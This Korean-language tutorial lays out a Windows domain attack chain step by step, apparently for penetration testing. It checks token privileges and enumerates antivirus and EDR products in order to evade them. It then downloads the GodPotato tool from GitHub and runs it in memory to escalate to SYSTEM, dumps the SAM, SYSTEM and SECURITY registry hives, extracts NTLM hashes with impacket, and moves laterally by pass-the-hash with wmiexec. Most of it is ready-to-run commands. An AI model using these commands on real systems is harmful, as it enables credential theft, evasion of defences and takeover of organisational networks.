로컬 권한 상승과 Credential Dumping을 통한 Pass-the-Hash¶
*로 표시된 항목은 "참고"에서 상세한 설명 확인이 가능합니다.
취약점 발생 조건
- SeImpersonatePrivilege 사용 상태
1. 사용자 권한 확인¶
PowerShell 또는 CMD에서 권한을 확인할 수 있는 명령어는 다음과 같습니다.
whoami /priv
출력 결과가 다음과 같을 때, 로컬 관리자 권한 상승을 시도할 수 있습니다.
*SeImpersonatePrivilege가 사용 상태인 경우
사용 권한 정보
----------------------
사용 권한 이름 설명 상태
========================= ======================= ==========
...생략...
SeShutdownPrivilege 시스템 종료 사용 안 함
SeDebugPrivilege 프로그램 디버깅 사용 안함
SeImpersonatePrivilege 감사 및 보안 로그 관리 사용
...생략...
2. 백신 설치 및 실행 여부 확인¶
PC에서 PowerShell을 실행할 수 있는 권한과 외부에서 악성 프로그램을 다운로드 받을 때, 백신에 의해 차단되는 경우가 많습니다.
탐지 및 공격 흔적을 최소화하기 위한 방안으로 백신 설치와 실행 여부를 우선적으로 파악해야 합니다.
- 결과 값에 따라서, 어떤 우회 기법을 사용할지 고민해볼 수 있습니다.
확인 명령어는 다음과 같으며, 각각 명령어에 대한 설명입니다.
AntivirusEnabled: Windows Defender 실시간 보호 활성화 여부AMServiceEnabled: Antimalware Service (MsMpEng.exe) 실행 여부
powershell "Get-MpComputerStatus | Select-Object AntivirusEnabled, AMServiceEnabled"
결과 값은 True, False로 구분되며 다음과 같이 출력됩니다.
두 개의 값이 전부 False인 경우에는 Windows Defender가 비활성화 상태라는 것을 의미합니다.
Get-MpComputerStatus만 입력했을 때의 결과 값 내용은 다음과 같습니다.
AMRunningMode: Not running 인 경우, AM 서비스 자체가 실행되지 않는 것을 의미AMEngineVersion / AMServiceVersion: 0.0.0.0은 엔진이 로드 되지 않는 것을 의미SignatureLastUpdated: 비어있다면, Signature 업데이트가 한 번도 진행되지 않은 것을 의미SignatureAge: 65535로 최대 값이기에 서명이 없다는 것을 의미
AMEngineVersion : 0.0.0.0
AMProductVersion : 4.18.25050.5
AMRunningMode : Not running
AMServiceEnabled : False
AMServiceVersion : 0.0.0.0
AntispywareEnabled : False
AntispywareSignatureAge : 0
AntispywareSignatureLastUpdated :
AntispywareSignatureVersion :
AntivirusEnabled : False
AntivirusSignatureAge : 65535
AntivirusSignatureLastUpdated :
AntivirusSignatureVersion :
WMI를 이용해서 설치되어 있는 백신 목록도 확인할 수 있습니다.
#WMI로 설치되어 있는 백신 목록을 확인하는 명령어
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct | Select-Object displayName, productState
#백신 관련 서비스를 확인하는 명령어
Get-Service | Where-Object { $_.DisplayName -match "crowd|carbon|sentinel|symantec|mcafee|trend|sophos|cylance|eset|kasper|endpoint|antivirus" }
3. AD에 속한 다른 계정/PC/IP 등 조회¶
adsisearcher를 이용해서 LDAP 명령어로 원하는 정보를 조회할 수 있습니다. 이때 같은 AD에 연결되어 있는 PC의 OS, DNS, IP 정보들을 조회해서 pass-the-hash 공격에 활용할 수 있습니다.
([adsisearcher]"(objectCategory=computer)").FindAll() | % { $name=$_.Properties["cn"][0]; $os=$_.Properties["operatingsystem"][0]; $dns=$_.Properties["dnshostname"][0]; try { $ip=([System.Net.Dns]::GetHostAddresses($dns))[0].IPAddressToString } catch { $ip="resolve 실패" }; "$name | $os | $dns | $ip" }
4. PowerShell을 GodPotato 메모리 업로드 및 실행¶
Windows 환경에서는 Administrator보다 더 상위 권한인 nt system권한이 있습니다. 시스템 권한으로 상승하기 위해서 Godpotato라는 도구를 사용하거나 Windows 환경의 CVE 등을 이용할 수 있습니다.
Godpotato는 Github repo에서 다운로드 받아올 수 있습니다. .NET이 3.5인지 4.0에 따라서 버전에 맞는 것을 powershell을 이용해서 다운로드할 수 있습니다.
.exe파일은 탐지될 수 있기 때문에, 다운로드 받은 파일을 byte로 변환하여 메모리에 올려서 실행시킬 수 있습니다. 변수를 사용하기 때문에, powershell이 종료되면 다시 다운로드 및 메모리에 업로드하는 과정이 필요합니다.
#Github에서 GodPotato 다운로드
$bytes = (New-Object Net.WebClient).DownloadData('https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe')
#Memory에 올린 GodPotato를 변수에 저장
$asm = [System.Reflection.Assembly]::Load($bytes)
#새 창으로 열어주지 않으면, 명령어를 실행할 수 없는 비대화형으로 권한 상승되어서, 새 창으로 NT System으로 열어주는 명령어
$asm.EntryPoint.Invoke($null, @(,[string[]]@("-cmd", "cmd /c start powershell -ep bypass")))
새 창으로 PowerShell이 실행되고 whoami를 입력하면, nt system 권한으로 상승되어 있는 것을 확인할 수 있습니다.
PS C:\Users\user\>whoami
nt authority\system
5. LSA Secrets 덤프¶
로컬 SAM 만 이용한다면, AD 공격이 제한적입니다. 따라서, 도메인 정보가 저장되어 있는 sam.hive과 security.hive를 추출해서 NTLM 해시를 추출 및 도메인 컨트롤러 권한 획득을 시도할 수 있는 pass-the-hash를 수행할 수 있습니다.
레지스트리에 저장되어 있는 sam, security 파일을 추출하는 명령어는 다음과 같습니다.
reg save HKLM\SAM C:\Temp\sam.hive; reg save HKLM\SYSTEM C:\Temp\system.hive; reg save HKLM\SECURITY C:\Temp\security.hive
추출이 완료되면 sam.hive, system.hive, security.hive 파일이 생성되며 해시 값을 추출할 때에는 sam.hive와 system.hive만 있어도 가능합니다.
6. impacket을 이용한 해시 추출¶
python에서 덤프한 파일에서 해시를 추출하는 명령어는 다음과 같습니다.
sam.hive와system.hive는 같이 사용해야 정상적인 값을 추출할 수 있음
impacket-secretsdump -sam sam.hive -system system.hive -outputfile output LOCAL
추출한 결과 다음과 같이 .sam 파일로 해시 값이 저장되어 있습니다. (공통으로 사용되는 기본 값)
- 만약 NTLM 해시 값이 기본 값으로 설정되어 있다면, 비밀번호가 설정되어 있지 않은 것으로 판단할 수 있습니다. 이런 경우에는 윈도우 기본 네트워크 보안 정책에 의해서 NTLM 해시 값으로 다른 PC에 접근할 수 없습니다.
- NTLM 기본 값:
aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
Administrator:500:aad3b435b51404ee:<hash>:::
Guest:501:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404ee:<hash>:::
하지만, 추출한 해시 값을 이용해서 접근 가능한 IP 대역이 있다면 PtH 공격을 수행해볼 수 있다.
어떤 해시 값을 사용할지 알 수 없기 때문에, GPO를 건드리지 않는 방향으로 공격한다면 충분히 영향력이 있다고 생각합니다.
7. pass-the-hash 기법을 이용한 Lateral Movement(측면이동)¶
PtH 공격을 수행할 때, SMB, WinRM 등
wmiexec.py를 이용한 SMB 연결 (한글/영어가 인코딩되지 않기 때문에 codec 옵션으로 인코딩 적용)
wmiexec -hashes NT:LM Administrator@IP -codec cp949
참고¶
1. [adsisearcher]¶
- .Net 클래스
System.DirectoryServices.DirectorySearcher로, 긴 이름을 축약해서 사용하도록 만들어둔 예약어 Get-ADUser를 사용할 수도 있지만,RSAT또는Active Direcotry Module설치 필요